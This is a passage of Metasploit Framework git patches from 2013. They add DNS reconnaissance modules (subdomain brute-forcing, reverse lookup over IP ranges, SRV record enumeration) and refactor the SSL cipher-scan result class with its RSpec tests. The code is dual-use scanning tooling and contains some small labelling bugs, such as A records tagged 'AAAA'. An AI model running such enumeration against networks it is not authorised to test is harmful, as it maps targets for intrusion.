[ false, "Number of times to try to resolve a record if no response is received", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), + OptInt.new('THREADS', [ false, "Number of threads", 1]), + ], self.class) + end + + def run + print_status("Enumerating #{datastore['DOMAIN']}") + @res = Net::DNS::Resolver.new() + @res.retry = datastore['RETRY'].to_i + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + wildcard(datastore['DOMAIN']) + switchdns() if not datastore['NS'].nil? + dnsbrt(datastore['DOMAIN']) + end + + #--------------------------------------------------------------------------------- + def wildcard(target) + rendsub = rand(10000).to_s + query = @res.query("#{rendsub}.#{target}", "A") + if query.answer.length != 0 + print_status("This Domain has Wildcards Enabled!!") + query.answer.each do |rr| + print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + end + return true + else + return false + end + end + + #--------------------------------------------------------------------------------- + def get_ip(host) + results = [] + query = @res.search(host, "A") + if (query) + query.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + query1 = @res.search(host, "AAAA") + if (query1) + query1.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + return results + end + + #--------------------------------------------------------------------------------- + def switchdns() + print_status("Using DNS Server: #{datastore['NS']}") + @res.nameserver=(datastore['NS']) + @nsinuse = datastore['NS'] + end + + def dnsbrt(domain) + print_status("Performing bruteforce against #{domain}") + queue = [] + File.open(datastore['WORDLIST'], 'rb').each_line do |testd| + queue << testd.strip + end + while(not queue.empty?) + tl = [] + 1.upto(datastore['THREADS']) do + tl << framework.threads.spawn("Module(#{self.refname})-#{domain}", false, queue.shift) do |testf| + Thread.current.kill if not testf + vprint_status("Testing #{testf}.#{domain}") + get_ip("#{testf}.#{domain}").each do |i| + print_good("#{i[:host]} #{i[:address]}") + report_host( + :host => i[:address].to_s, + :name => i[:host].gsub(/\.$/,'') + ) + end + end + end + if(tl.length == 0) + break + end + tl.first.join + tl.delete_if { |t| not t.alive? } + end + end +end From 906585798d0f3ceebab2877d11149581f8db5a78 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 09:49:19 -0400 Subject: [PATCH 048/341] Split of DNS General Info from enum_dns --- modules/auxiliary/gather/dns_info.rb | 218 +++++++++++++++++++++++++++ 1 file changed, 218 insertions(+) create mode 100644 modules/auxiliary/gather/dns_info.rb diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb new file mode 100644 index 0000000000..bbf772cf5b --- /dev/null +++ b/modules/auxiliary/gather/dns_info.rb @@ -0,0 +1,218 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Base Information', + 'Description' => %q{ + This module enumerates basic DNS information for a given Domain. Information + enumerated is A, AAAA, NS and MX Records for the given domain. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, "The target domain name"]), + OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS" ]), + + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), + ], self.class) + end + + def run + print_status("Enumerating #{datastore['DOMAIN']}") + @res = Net::DNS::Resolver.new() + @res.retry = datastore['RETRY'].to_i + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + wildcard(datastore['DOMAIN']) + switchdns() if not datastore['NS'].nil? + + # Get A and AAAA Records for the domain + get_ip(datastore['DOMAIN']).each do |r| + print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + report_host(:host => r[:address]) + end + + # Get Name Servers + get_ns(datastore['DOMAIN']).each do |r| + print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + report_host(:host => r[:address], :name => r[:host]) + report_service( + :host => r[:address], + :name => "dns", + :port => 53, + :proto => "udp" + ) + end + + # Get SOA + get_soa(datastore['DOMAIN']).each do |r| + print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + report_host(:host => r[:address], :name => r[:host]) + end + + #Get MX + get_mx(datastore['DOMAIN']).each do |r| + print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + report_host(:host => r[:address], :name => r[:host]) + report_service( + :host => r[:address], + :name => "smtp", + :port => 25, + :proto => "tcp" + ) + end + + # Get TX + get_txt(datastore['DOMAIN']).each do |r| + print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + report_host(:host => r[:address], :name => r[:host]) + end + end + + #--------------------------------------------------------------------------------- + def wildcard(target) + rendsub = rand(10000).to_s + query = @res.query("#{rendsub}.#{target}", "A") + if query.answer.length != 0 + print_status("This Domain has Wildcards Enabled!!") + query.answer.each do |rr| + print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + end + return true + else + return false + end + end + + #--------------------------------------------------------------------------------- + def get_ip(host) + results = [] + query = @res.search(host, "A") + if (query) + query.answer.each do |rr| + record = {} + record[:host] = host + record[:type] = "A" + record[:address] = rr.address.to_s + results << record + end + end + query1 = @res.search(host, "AAAA") + if (query1) + query1.answer.each do |rr| + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + return results + end + + #--------------------------------------------------------------------------------- + def get_ns(target) + results = [] + query = @res.query(target, "NS") + if (query) + (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| + get_ip(rr.nsdname).each do |r| + record = {} + record[:host] = rr.nsdname.gsub(/\.$/,'') + record[:type] = "NS" + record[:address] = r[:address].to_s + results << record + end + end + end + return results + end + + #--------------------------------------------------------------------------------- + def get_soa(target) + results = [] + query = @res.query(target, "SOA") + if (query) + (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| + if Rex::Socket.dotted_ip?(rr.mname) + record = {} + record[:host] = rr.mname + record[:type] = "SOA" + record[:address] = rr.mname + results << record + else + get_ip(rr.mname).each do |ip| + record = {} + record[:host] = rr.mname.gsub(/\.$/,'') + record[:type] = "SOA" + record[:address] = ip[:address].to_s + results << record + end + end + end + end + return results + end + + #--------------------------------------------------------------------------------- + def get_txt(target) + query = @res.query(target, "TXT") + if (query) + query.answer.each do |rr| + print_good("Text: #{rr.txt}, TXT") + end + end + end + + #--------------------------------------------------------------------------------- + def get_mx(target) + results = [] + query = @res.query(target, "MX") + if (query) + (query.answer.select { |i| i.class == Net::DNS::RR::MX}).each do |rr| + if Rex::Socket.dotted_ip?(rr.exchange) + record = {} + record[:host] = rr.exchange + record[:type] = "MX" + record[:address] = rr.exchange + results << record + else + get_ip(rr.exchange).each do |ip| + record = {} + record[:host] = rr.exchange.gsub(/\.$/,'') + record[:type] = "MX" + record[:address] = ip[:address].to_s + results << record + end + end + end + end + return results + end + + #--------------------------------------------------------------------------------- + def switchdns() + print_status("Using DNS Server: #{datastore['NS']}") + @res.nameserver=(datastore['NS']) + @nsinuse = datastore['NS'] + end +end \ No newline at end of file From 256ab7f737ddf23f45741cfee9feed48658592b8 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 09:50:21 -0400 Subject: [PATCH 049/341] Split of DNS Reverse Lookup from enum_dns --- .../auxiliary/gather/dns_reverse_lookup.rb | 94 +++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 modules/auxiliary/gather/dns_reverse_lookup.rb diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb new file mode 100644 index 0000000000..95dbb0c8ac --- /dev/null +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -0,0 +1,94 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Reverse Lookup', + 'Description' => %q{ + This module performs a Reverse Lookup against a given IP Range. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptAddressRange.new('RANGE', [true, 'IP Range to perform reverse lookup against.', nil]), + OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS" ]), + + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), + OptInt.new('THREADS', [ false, "Number of seconds to wait before doing a retry", 2]), + ], self.class) + end + + def run + @res = Net::DNS::Resolver.new() + @res.retry = datastore['RETRY'].to_i + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + @threadnum = datastore['THREADS'].to_i + switchdns() if not datastore['NS'].nil? + reverselkp(datastore['RANGE']) + end + + #------------------------------------------------------------------------------- + def reverselkp(iprange) + print_status("Running Reverse Lookup against ip range #{iprange}") + ar = Rex::Socket::RangeWalker.new(iprange) + tl = [] + while (true) + # Spawn threads for each host + while (tl.length <= @threadnum) + ip = ar.next_ip + break if not ip + tl << framework.threads.spawn("Module(#{self.refname})-#{ip}", false, ip.dup) do |tip| + begin + query = @res.query(tip) + query.each_ptr do |addresstp| + print_status("Host Name: #{addresstp} IP Address: #{tip.to_s}") + + report_host( + :host => tip.to_s, + :name => addresstp + ) + end + rescue ::Interrupt + raise $! + rescue ::Rex::ConnectionError + rescue ::Exception => e + print_error("Error: #{tip}: #{e.message}") + elog("Error running against host #{tip}: #{e.message}\n#{e.backtrace.join("\n")}") + end + end + end + # Exit once we run out of hosts + if(tl.length == 0) + break + end + tl.first.join + tl.delete_if { |t| not t.alive? } + end + end + + #--------------------------------------------------------------------------------- + def switchdns() + print_status("Using DNS Server: #{datastore['NS']}") + @res.nameserver=(datastore['NS']) + @nsinuse = datastore['NS'] + end +end \ No newline at end of file From ac8194ed07b18e27c8d488590c5307b539650585 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 10:09:34 -0400 Subject: [PATCH 050/341] Split of DNS SRV Record Enumeration from enum_dns --- modules/auxiliary/gather/dns_srv.rb | 221 ++++++++++++++++++++++++++++ 1 file changed, 221 insertions(+) create mode 100644 modules/auxiliary/gather/dns_srv.rb diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb new file mode 100644 index 0000000000..dd3f68f208 --- /dev/null +++ b/modules/auxiliary/gather/dns_srv.rb @@ -0,0 +1,221 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Reverse Lookup', + 'Description' => %q{ + This module enumerates common DNS Service Records. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, "The target domain name"]), + OptBool.new( 'ALL_NS', [ false, "Run against all Nameservers for the given domain",false]), + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 3]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 4]), + ], self.class) + end + + def run + records = [] + @res = Net::DNS::Resolver.new() + @res.retry = datastore['RETRY'].to_i + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + + print_status("Enumerating SRV Records for #{datastore['DOMAIN']}") + records = records + srvqry(datastore['DOMAIN']) + if datastore["ALL_NS"] + get_soa(datastore['DOMAIN']).each do |s| + switchdns(s[:address]) + records = records + srvqry(datastore['DOMAIN']) + end + get_ns(datastore['DOMAIN']).each do |ns| + switchdns(ns[:address]) + records =records + srvqry(datastore['DOMAIN']) + end + end + records.uniq! + records.each do |r| + print_good("Host: #{r[:host]} IP: #{r[:address].to_s} Service: #{r[:service]} Protocol: #{r[:proto]} Port: #{r[:port]}") + report_service( + :host=> r[:address].to_s, + :port => r[:port].to_i, + :proto => r[:proto], + :name => r[:service], + :host_name => r[:host] + ) + report_host( + :host => r[:address].to_s, + :name => r[:host] + ) + end + + end + #--------------------------------------------------------------------------------- + def get_soa(target) + results = [] + query = @res.query(target, "SOA") + if (query) + (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| + if Rex::Socket.dotted_ip?(rr.mname) + record = {} + record[:host] = rr.mname + record[:type] = "SOA" + record[:address] = rr.mname + results << record + else + get_ip(rr.mname).each do |ip| + record = {} + record[:host] = rr.mname.gsub(/\.$/,'') + record[:type] = "SOA" + record[:address] = ip[:address].to_s + results << record + end + end + end + end + return results + end + #------------------------------------------------------------------------------- + def srvqry(dom) + results = [] + #Most common SRV Records + srvrcd = [ + '_gc._tcp.', '_kerberos._tcp.', '_kerberos._udp.', '_ldap._tcp.', + '_test._tcp.', '_sips._tcp.', '_sip._udp.', '_sip._tcp.', '_aix._tcp.', + '_aix._tcp.', '_finger._tcp.', '_ftp._tcp.', '_http._tcp.', '_nntp._tcp.', + '_telnet._tcp.', '_whois._tcp.', '_h323cs._tcp.', '_h323cs._udp.', + '_h323be._tcp.', '_h323be._udp.', '_h323ls._tcp.', + '_h323ls._udp.', '_sipinternal._tcp.', '_sipinternaltls._tcp.', + '_sip._tls.', '_sipfederationtls._tcp.', '_jabber._tcp.', + '_xmpp-server._tcp.', '_xmpp-client._tcp.', '_imap.tcp.', + '_certificates._tcp.', '_crls._tcp.', '_pgpkeys._tcp.', + '_pgprevokations._tcp.', '_cmp._tcp.', '_svcp._tcp.', '_crl._tcp.', + '_ocsp._tcp.', '_PKIXREP._tcp.', '_smtp._tcp.', '_hkp._tcp.', + '_hkps._tcp.', '_jabber._udp.','_xmpp-server._udp.', '_xmpp-client._udp.', + '_jabber-client._tcp.', '_jabber-client._udp.','_kerberos.tcp.dc._msdcs.', + '_ldap._tcp.ForestDNSZones.', '_ldap._tcp.dc._msdcs.', '_ldap._tcp.pdc._msdcs.', + '_ldap._tcp.gc._msdcs.','_kerberos._tcp.dc._msdcs.','_kpasswd._tcp.','_kpasswd._udp.' + ] + + srvrcd.each do |srvt| + trg = "#{srvt}#{dom}" + begin + + query = @res.query(trg , Net::DNS::SRV) + if query + query.answer.each do |srv| + if Rex::Socket.dotted_ip?(srv.host) + record = {} + srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:host] = srv.host.gsub(/\.$/,'') + record[:type] = "SRV" + record[:address] = srv.host + record[:srv] = srvt + record[:service] = srv_info[0] + record[:proto] = srv_info[1] + record[:port] = srv.port + record[:priority] = srv.priority + results << record + vprint_status("SRV Record: #{trg} Host: #{srv.host.gsub(/\.$/,'')} IP: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") + else + get_ip(srv.host.gsub(/\.$/,'')).each do |ip| + record = {} + srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:host] = srv.host.gsub(/\.$/,'') + record[:type] = "SRV" + record[:address] = ip[:address] + record[:srv] = srvt + record[:service] = srv_info[0] + record[:proto] = srv_info[1] + record[:port] = srv.port + record[:priority] = srv.priority + results << record + vprint_status("SRV Record: #{trg} Host: #{srv.host} IP: #{ip[:address]} Port: #{srv.port} Priority: #{srv.priority}") + end + end + end + end + rescue + end + end + return results + end + + #--------------------------------------------------------------------------------- + def get_ip(host) + results = [] + query = @res.search(host, "A") + if (query) + query.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + query1 = @res.search(host, "AAAA") + if (query1) + query1.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + return results + end + #--------------------------------------------------------------------------------- + def switchdns(ns) + vprint_status("Enumerating SRV Records on: #{ns}") + @res.nameserver=(ns) + @nsinuse = ns + end + + #--------------------------------------------------------------------------------- + def get_ns(target) + results = [] + query = @res.query(target, "NS") + if (query) + (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| + get_ip(rr.nsdname).each do |r| + record = {} + record[:host] = rr.nsdname.gsub(/\.$/,'') + record[:type] = "NS" + record[:address] = r[:address].to_s + results << record + end + end + end + return results + end +end \ No newline at end of file From dfc7ce9381fa467807fefb9aa6fc5b1086ade62e Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 8 Feb 2013 11:33:36 -0600 Subject: [PATCH 051/341] fix stupid datat structure also supports a boolean value for whether the cipher is weak or not --- lib/rex/sslscan/result.rb | 120 +++++++++++++++------------- spec/lib/rex/sslscan/result_spec.rb | 108 ++++++++++++++++--------- 2 files changed, 137 insertions(+), 91 deletions(-) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index fbd6aa59dc..f54d50d3d4 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -4,16 +4,12 @@ require 'rex/socket' module Rex::SSLScan class Result - attr_reader :sslv2 - attr_reader :sslv3 - attr_reader :tlsv1 + attr_reader :ciphers attr_reader :supported_versions def initialize() @cert = nil - @sslv2 = {:accepted => [], :rejected => []} - @sslv3 = {:accepted => [], :rejected => []} - @tlsv1 = {:accepted => [], :rejected => []} + @ciphers = [] @supported_versions = [:SSLv2, :SSLv3, :TLSv1] end @@ -28,6 +24,10 @@ class Result @cert = input end + def sslv2 + @ciphers.reject{|cipher| cipher[:version] != :SSLv2 } + end + def add_cipher(version, cipher, key_length, status) unless @supported_versions.include? version raise ArgumentError, "Must be a supported SSL Version" @@ -42,74 +42,86 @@ class Result raise ArgumentError, "status Must be either :accepted or :rejected" end - cipher_details = {:cipher => cipher, :key_length => key_length} - case version - when :SSLv2 - @sslv2[status] << cipher_details - @sslv2[status].uniq! - when :SSLv3 - @sslv3[status] << cipher_details - @sslv3[status].uniq! - when :TLSv1 - @tlsv1[status] << cipher_details - @tlsv1[status].uniq! + strong_cipher_ctx = OpenSSL::SSL::SSLContext.new(version) + strong_cipher_ctx.ciphers = "ALL:!aNULL:!eNULL:!LOW:!EXP:RC4+RSA:+HIGH:+MEDIUM" + + if strong_cipher_ctx.ciphers.flatten.include? cipher + weak = false + else + weak = true end + + cipher_details = {:version => version, :cipher => cipher, :key_length => key_length, :weak => weak, :status => status} + @ciphers << cipher_details + @ciphers.uniq! end - def accepted - { - :SSLv2 => @sslv2[:accepted], - :SSLv3 => @sslv3[:accepted], - :TLSv1 => @tlsv1[:accepted] - } - end - - def rejected - { - :SSLv2 => @sslv2[:rejected], - :SSLv3 => @sslv3[:rejected], - :TLSv1 => @tlsv1[:rejected] - } - end - - def each_accepted - all_accepted = [] - - accepted.each_pair do |version, cipher_list| - cipher_list.each do |cipher_details| - cipher_details[:version] = version - all_accepted << cipher_details + def accepted(version = :all) + if version.kind_of? Symbol + case version + when :all + return @ciphers.reject{|cipher| cipher[:status] == :rejected} + when :SSLv2, :SSLv3, :TLSv1 + return @ciphers.reject{|cipher| cipher[:status] == :rejected or cipher[:version] != version} + else + raise ArgumentError, "Invalid SSL Version Supplied: #{version}" end + elsif version.kind_of? Array + version.reject!{|version| @supported_versions.include? version} + if version.empty? + return @ciphers.reject{|cipher| cipher[:status] == :rejected} + else + return @ciphers.reject{|cipher| cipher[:status] == :rejected or !(version.include? cipher[:version])} + end + else + raise ArgumentError, "Was expecting Symbol or Array and got #{version.class}" end - all_accepted.each do |cipher_result| + end + + def rejected(version = :all) + if version.kind_of? Symbol + case version + when :all + return @ciphers.reject{|cipher| cipher[:status] == :accepted} + when :SSLv2, :SSLv3, :TLSv1 + return @ciphers.reject{|cipher| cipher[:status] == :accepted or cipher[:version] != version} + else + raise ArgumentError, "Invalid SSL Version Supplied: #{version}" + end + elsif version.kind_of? Array + version.reject!{|version| @supported_versions.include? version} + if version.empty? + return @ciphers.reject{|cipher| cipher[:status] == :accepted} + else + return @ciphers.reject{|cipher| cipher[:status] == :accepted or !(version.include? cipher[:version])} + end + else + raise ArgumentError, "Was expecting Symbol or Array and got #{version.class}" + end + end + + def each_accepted(version = :all) + accepted(version).each do |cipher_result| yield cipher_result end end - def each_rejected - all_rejected = [] - - rejected.each_pair do |version, cipher_list| - cipher_list.each do |cipher_details| - cipher_details[:version] = version - all_rejected << cipher_details - end - end - all_rejected.each do |cipher_result| + def each_rejected(version = :all) + rejected(version).each do |cipher_result| yield cipher_result end end def supports_sslv2? - !(accepted[:SSLv2].empty?) + !(accepted(:SSLv2).empty?) end def supports_sslv3? - !(accepted[:SSLv3].empty?) + !(accepted(:SSLv3).empty?) end def supports_tlsv1? - !(accepted[:TLSv1].empty?) + !(accepted(:TLSv1).empty?) end def supports_ssl? diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 8ee1a6118f..0d9ac8b553 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -5,33 +5,23 @@ describe Rex::SSLScan::Result do subject{Rex::SSLScan::Result.new} it { should respond_to :cert } - it { should respond_to :sslv2 } - it { should respond_to :sslv3 } - it { should respond_to :tlsv1 } + it { should respond_to :ciphers } context "with no values set" do it "should return nil for the cert" do subject.cert.should == nil end - it "should return an empty structure for sslv2" do - subject.sslv2.should == {:accepted => [], :rejected => []} + it "should return an empty array for ciphers" do + subject.ciphers.should == [] end - it "should return an empty structure for sslv3" do - subject.sslv3.should == {:accepted => [], :rejected => []} + it "should return an empty array for accepted" do + subject.accepted.should == [] end - it "should return an empty structure for tlsv1" do - subject.tlsv1.should == {:accepted => [], :rejected => []} - end - - it "should return an empty structure for #accepted" do - subject.accepted.should == {:SSLv2=>[], :SSLv3=>[], :TLSv1=>[]} - end - - it "should return an emtpy structure for #rejected" do - subject.rejected.should == {:SSLv2=>[], :SSLv3=>[], :TLSv1=>[]} + it "should return an empty array for rejected" do + subject.rejected.should == [] end end @@ -89,65 +79,109 @@ describe Rex::SSLScan::Result do context "that was accepted" do it "should add an SSLv2 cipher result to the SSLv2 Accepted array" do subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.sslv2[:accepted].should include({:cipher=>"DES-CBC3-MD5", :key_length=>168}) - subject.accepted[:SSLv2].should include({:cipher=>"DES-CBC3-MD5", :key_length=>168}) + subject.accepted(:SSLv2).should include({ + :version => :SSLv2, + :cipher=>"DES-CBC3-MD5", + :key_length=>168, + :weak=> false, + :status => :accepted}) end it "should add an SSLv3 cipher result to the SSLv3 Accepted array" do subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.sslv3[:accepted].should include({:cipher=>"AES256-SHA", :key_length=>256}) - subject.accepted[:SSLv3].should include({:cipher=>"AES256-SHA", :key_length=>256}) + subject.accepted(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) end it "should add an TLSv1 cipher result to the TLSv1 Accepted array" do subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.tlsv1[:accepted].should include({:cipher=>"AES256-SHA", :key_length=>256}) - subject.accepted[:TLSv1].should include({:cipher=>"AES256-SHA", :key_length=>256}) + subject.accepted(:TLSv1).should include({ + :version => :TLSv1, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) end it "should successfully add multiple entries in a row" do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.sslv3[:accepted].should include({:cipher=>"AES256-SHA", :key_length=>256}) - subject.sslv3[:accepted].should include({:cipher=>"AES128-SHA", :key_length=>128}) + subject.accepted(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) + subject.accepted(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) end it "should not add duplicate entries" do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.sslv3[:accepted].count.should == 1 + subject.accepted(:SSLv3).count.should == 1 end end context "that was rejected" do it "should add an SSLv2 cipher result to the SSLv2 Rejected array" do subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) - subject.sslv2[:rejected].should include({:cipher=>"DES-CBC3-MD5", :key_length=>168}) - subject.rejected[:SSLv2].should include({:cipher=>"DES-CBC3-MD5", :key_length=>168}) + subject.rejected(:SSLv2).should include({ + :version => :SSLv2, + :cipher=>"DES-CBC3-MD5", + :key_length=>168, + :weak=> false, + :status => :rejected}) end it "should add an SSLv3 cipher result to the SSLv3 Rejected array" do subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.sslv3[:rejected].should include({:cipher=>"AES256-SHA", :key_length=>256}) - subject.rejected[:SSLv3].should include({:cipher=>"AES256-SHA", :key_length=>256}) + subject.rejected(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :rejected}) end it "should add an TLSv1 cipher result to the TLSv1 Rejected array" do subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) - subject.tlsv1[:rejected].should include({:cipher=>"AES256-SHA", :key_length=>256}) - subject.rejected[:TLSv1].should include({:cipher=>"AES256-SHA", :key_length=>256}) + subject.rejected(:TLSv1).should include({ + :version => :TLSv1, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :rejected}) end it "should successfully add multiple entries in a row" do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.sslv3[:rejected].should include({:cipher=>"AES256-SHA", :key_length=>256}) - subject.sslv3[:rejected].should include({:cipher=>"AES128-SHA", :key_length=>128}) + subject.rejected(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :rejected}) + subject.rejected(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES128-SHA", + :key_length=>128, + :weak=> false, + :status => :rejected}) end it "should not add duplicate entries" do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - subject.sslv3[:rejected].count.should == 1 + subject.rejected(:SSLv3).count.should == 1 end end end @@ -162,7 +196,7 @@ describe Rex::SSLScan::Result do it "should return an array of cipher detail hashes" do subject.each_accepted do |cipher_details| - cipher_details.should include(:version, :cipher, :key_length) + cipher_details.should include(:version, :cipher, :key_length, :status, :weak) end end @@ -185,7 +219,7 @@ describe Rex::SSLScan::Result do it "should return an array of cipher detail hashes" do subject.each_rejected do |cipher_details| - cipher_details.should include(:version, :cipher, :key_length) + cipher_details.should include(:version, :cipher, :key_length, :status, :weak) end end From 3295157f78615c091b02aee60a7069b3159f57b1 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 8 Feb 2013 13:25:49 -0600 Subject: [PATCH 052/341] More support for various checks --- lib/rex/sslscan/result.rb | 80 +++++++---- spec/lib/rex/sslscan/result_spec.rb | 198 +++++++++++++++++++++++++--- 2 files changed, 236 insertions(+), 42 deletions(-) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index f54d50d3d4..d1755e251f 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -28,32 +28,20 @@ class Result @ciphers.reject{|cipher| cipher[:version] != :SSLv2 } end - def add_cipher(version, cipher, key_length, status) - unless @supported_versions.include? version - raise ArgumentError, "Must be a supported SSL Version" - end - unless OpenSSL::SSL::SSLContext.new(version).ciphers.flatten.include? cipher - raise ArgumentError, "Must be a valid SSL Cipher for #{version}!" - end - unless key_length.kind_of? Fixnum - raise ArgumentError, "Must supply a valid key length" - end - unless [:accepted, :rejected].include? status - raise ArgumentError, "status Must be either :accepted or :rejected" - end + def sslv3 + @ciphers.reject{|cipher| cipher[:version] != :SSLv3 } + end - strong_cipher_ctx = OpenSSL::SSL::SSLContext.new(version) - strong_cipher_ctx.ciphers = "ALL:!aNULL:!eNULL:!LOW:!EXP:RC4+RSA:+HIGH:+MEDIUM" - - if strong_cipher_ctx.ciphers.flatten.include? cipher - weak = false - else - weak = true - end + def tlsv1 + @ciphers.reject{|cipher| cipher[:version] != :TLSv1 } + end - cipher_details = {:version => version, :cipher => cipher, :key_length => key_length, :weak => weak, :status => status} - @ciphers << cipher_details - @ciphers.uniq! + def weak_ciphers + @ciphers.reject{|cipher| cipher[:weak] == false } + end + + def strong_ciphers + @ciphers.reject{|cipher| cipher[:weak] } end def accepted(version = :all) @@ -67,7 +55,7 @@ class Result raise ArgumentError, "Invalid 